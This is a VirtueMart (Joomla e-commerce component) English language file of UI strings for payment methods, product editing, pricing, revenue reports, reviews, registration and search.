COM_VIRTUEMART_PAYMENTMETHOD="Payment Method" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="The selected Payment Method can't be instantiated because it doesn't exist." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="A unique code for the payment method (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Please enter a payment method code." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Please enter a payment method name." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Credit Card Types" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Payment Name" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Payment Methods name already exist. Please select another name " COM_VIRTUEMART_PAYMENTMETHOD_S="Payment Methods" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Please select a payment method to update." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Payment Method" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Select the payment method and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_PAYMENT_CLONE="Clone payment" COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY="Payment successfully cloned" COM_VIRTUEMART_PAYMENT_ELEMENT="Payment Method" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_LBL="Payment Method List" COM_VIRTUEMART_PAYMENT_LIST_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY="Payment cloning failed" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Payment successfully processed" COM_VIRTUEMART_PAYMENT_TYPE="Method Type" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="The permission group must have a name." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="The permission group name contains invalid characters" COM_VIRTUEMART_PLEASE_SEL_ITEM="Please select an item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee " COM_VIRTUEMART_PLUGIN_WARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component
      Parameters set here will not be used at all." COM_VIRTUEMART_PN_DISPLAY_NR="Display #" COM_VIRTUEMART_PREVIEW="Preview" COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRINT_VIEW="Print View" COM_VIRTUEMART_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Move Products" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Something went wrong when trying to add the product!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Add a Child Product" COM_VIRTUEMART_PRODUCT_ADD_CHILD_TIP="a Child Product can be added once this product is saved" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Add new price" COM_VIRTUEMART_PRODUCT_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="It will be available again on:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax " COM_VIRTUEMART_PRODUCT_BOX="Units in Box" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NO DESCRIPTION" COM_VIRTUEMART_PRODUCT_CALL="Call for Pricing" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Attention product is parent, please delete the children first" COM_VIRTUEMART_PRODUCT_CATEGORY="Product Category" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Product Category name" COM_VIRTUEMART_PRODUCT_CHILD="Child Product" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Product Children" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Product is Children of" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Child product created successfully" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Child Products" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Product Child Name" COM_VIRTUEMART_PRODUCT_CLONE="Clone Product" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="The product was successfully cloned" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Also clone these Child Items" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Clone Product Options" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Create Child Product" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Custom Field" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Custom
      %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Custom Fields" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="All Shoppers" COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Product Details Page" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="From" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Dimension Unit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="You can use the Product Discount Form to add discounts!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="The product discount has been added." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Discount Type" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Shall the amount be a percentage or a total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Apply generic rules" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Override" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="You can use this to temporarly discount a product" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Edit Product Child" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Send Email to shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Content" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Date sent" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Please enter a message" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Please enter a subject for the email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="No shopper bougth this product" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Select the 'Status of ordered products'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Select the 'Status of ordered products' of orders received to display the list of the shoppers who will receive the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Send Email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Send the email to the shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Send an email to shoppers who bought this product (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message about the product %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Subject" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Return to product file list" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Search Product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_ALIAS_TIP="Product Alias for SEF" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Fill in any text here that will be displayed to the shopper on the product details.
      e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OR select an Image to be displayed on the Details Page.
      The images reside in the directory %s
      " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Availability Date" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Here you can fill in the number of units in a box. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calculate the Cost price" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the Cost price with the desired Final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="After tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Before tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Are you sure you want to delete this Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Are you sure you want to delete this Product and the Items related to it?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Product Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Discounted Price" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Here you can override the discount setting. Fill in a special discount price for this product.
      The Shop will create a new discount record from the discounted price." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Discount " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Discount Type" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_GTIN="GTIN (EAN,ISBN)" COM_VIRTUEMART_PRODUCT_FORM_GTIN_TIP="Global Trade Item Number. An international number comprising for example former ISBN, EAN, UPC" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Height" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="In Stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Item Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images label" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Product item Information" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Item status" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Length" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Maximum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Minimum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MPN="MPN" COM_VIRTUEMART_PRODUCT_FORM_MPN_TIP="Part number resp. Stock Keeping Unit of the Manufacturer" COM_VIRTUEMART_PRODUCT_FORM_NAME="Product Name" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="New Product" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Booked, ordered products" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Units in a Package" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Here you can fill in the number of units in a package. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Edit Parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Product pricing (you are in shoppergroups: %1$s)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Base price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Base price with tax" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="The base price is the cost price converted into vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Cost price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="This is actual cost price in the currency selected" COM_VIRTUEMART_PRODUCT_FORM_PRICE_DISCOUNT="Discount" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Final price" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="The final price is the baseprice with all affecting rules applied in vendor default currency" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Product Price (Gross)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Product Price (Cost)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Product Price (Retail)" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="Tax" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Custom Fields" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Product Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Product Images" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Product Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Child Product List" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Product Status" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Product Types" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Product Variants" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Property" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="New Property" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Pricing rules overrides" COM_VIRTUEMART_PRODUCT_FORM_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="On Featured" COM_VIRTUEMART_PRODUCT_FORM_STEP_ORDER="Purchase Quantity Steps" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Short Description" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Update Item" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor" COM_VIRTUEMART_PRODUCT_HEIGHT="Product Height" COM_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_PRODUCT_ID_MISSING="A product ID is missing." COM_VIRTUEMART_PRODUCT_IMAGE="Product image" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Image URL must begin with http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Failed deleting Product Images!" COM_VIRTUEMART_PRODUCT_INFORMATION="Product Information" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventory" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Stock Value" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Value" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Weight" COM_VIRTUEMART_PRODUCT_IN_STOCK="Product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Search Product" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="after" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="before" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="with Price modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modified" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="without Price" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="only parent" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Vendor Name" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="List all %s children" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_MASSXREF="Bulk association (i.e. categories, shoppergroups) with selected products" COM_VIRTUEMART_PRODUCT_MEDIA="Media File" COM_VIRTUEMART_PRODUCT_MOD="Products" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Email(s) sent" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Number to notify (leave blank for all)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notify users" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="The product was not successfully cloned" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Sorry, but the Product you have requested was not found!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Child product not created successfully" COM_VIRTUEMART_PRODUCT_OF="of" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="In case your product is sold in units, like meters, grams or, liters, enter here the amount. For example 0.7 for a 0.7 %1$s bottle or 2.5 for 250 ml in case you choosed for %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Product has Children?" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Date range" COM_VIRTUEMART_PRODUCT_PRICE_FROM="From" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Quantity range" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Product Price" COM_VIRTUEMART_PRODUCT_PRICE_TO="To" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Internal note" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Product Type" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Search for Related Products" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Family" COM_VIRTUEMART_PRODUCT_S="Products" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount " COM_VIRTUEMART_PRODUCT_SHOPPERS="Send an email to Shoppers" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="List of shoppers who bought %1$s" COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount " COM_VIRTUEMART_PRODUCT_TAX_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Apply default rules" COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Use notification template" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="If checked, the default notification will be sent." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s has arrived!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notified" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notify these users now (when you have updated the number of products stock)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Waiting List" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Users waiting to be notified when this product is back in stock" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No waiting users" COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Unit" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PRODUCT_XREF_CAT="Bulk associate categories" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Execute bulk association of categories" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Selected products %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Bulk associate shoppergroups" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Execute bulk association of shoppergroups" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="used RaiseWarning: Was not able to save the VirtueMart user data" COM_VIRTUEMART_RATE_FORM_VAT_ID="Tax" COM_VIRTUEMART_RATE_NOM="Rating" COM_VIRTUEMART_RATINGS="Reviews & Ratings" COM_VIRTUEMART_RATING_DATE_TITLE="Review date" COM_VIRTUEMART_RATING_EDIT_TITLE="Edit Shopper Review" COM_VIRTUEMART_RATING_TITLE="Rating" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
      An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_TITLE="Registration" COM_VIRTUEMART_REGISTRATION_FORM_NONE="none" COM_VIRTUEMART_REG_COMPLETE="
      Registration Complete!
      " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
      Registration Completed!

      Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
      Registration of vendor complete!
      " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
      Registration of vendor Completed!

      Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Add categories to display in the Product Details Page" COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Add products to display in the Product Details Page" COM_VIRTUEMART_RELOAD="Reload" COM_VIRTUEMART_REMEMBER_ME="Remember me" COM_VIRTUEMART_REPORT="Revenue Report" COM_VIRTUEMART_REPORT_BASIC_DATE="Date" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individual Product Listings" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Last 60 days" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Last 90 days" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Last Month" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Orders" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Product Listing" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Report for" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Revenue gross" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Revenue net" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Sales Activity Overview, // not used?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Sales Reporting, // not used?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Show this selected range" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="This Month" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total Items sold" COM_VIRTUEMART_REPORT_FROM_PERIOD="From: " COM_VIRTUEMART_REPORT_INTERVAL="Set Interval" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="End Date" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Daily" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Monthly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Weekly" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Yearly" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Start Date" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Last 30 days" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Last 60 days" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Last 90 days" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="This Month" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="This Week" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="This Year" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Today" COM_VIRTUEMART_REPORT_SET_PERIOD="Set Period: " COM_VIRTUEMART_REPORT_TITLE="Report for the period from %s to %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Until: " COM_VIRTUEMART_REPORT_UPDATEORDERITEMS="Update Order Items" COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN="For correct net price calculation you must update order items table. Use the button on top of the site." COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_REVIEW="Shopper Review" COM_VIRTUEMART_REVIEW_COUNT="Characters written:" COM_VIRTUEMART_REVIEW_DETAILS="Shopper Review Details" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Product Reviews" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Review & Rating" COM_VIRTUEMART_REVIEW_RATE_S="Reviews & Ratings" COM_VIRTUEMART_REVIEW_S="Shopper Reviews" COM_VIRTUEMART_RULES_EFFECTING="Rule(s) Affecting: " COM_VIRTUEMART_RULES_EFFECTING_TIP="Be aware that you see the prices with your conditions, that means always quantity = 1 and YOUR shoppergroup. Dont wonder that you see no taxes, if your are not in the group to be taxed. Dont wonder that you may see a strange discount, which you gave a tester group, which your are in. To see the prices for not logged users and similar, check the frontend, use the link provided at the title of the page" COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED="Default safe path created: %1s" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Path for invoices created" COM_VIRTUEMART_SALES="Best Selling" COM_VIRTUEMART_SAMPLE_DATA="Install
      Sample Data" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="Sample data installed!!" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SAVED_CART_TITLE="Saved Cart" COM_VIRTUEMART_SAVE_PERMISSIONS="Save Permissions" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Search all Categories" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Search all product info" COM_VIRTUEMART_SEARCH_AND="and" COM_VIRTUEMART_SEARCH_DESCRIPTION="Product description only" COM_VIRTUEMART_SEARCH_LBL="Search" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Manufacturer / Vendor only" COM_VIRTUEMART_SEARCH_NOT="not" COM_VIRTUEMART_SEARCH_PRODNAME="Product name only" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Select all manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturers" COM_VIRTUEMART_SEARCH_TITLE="Search" COM_VIRTUEMART_SELECT="Select %s" COM_VIRTUEMART_SELECT_CATEGORY="Select a category..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Select a plug-in " COM_VIRTUEMART_SELECT_FILE="Select a file" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Select an item to delete" 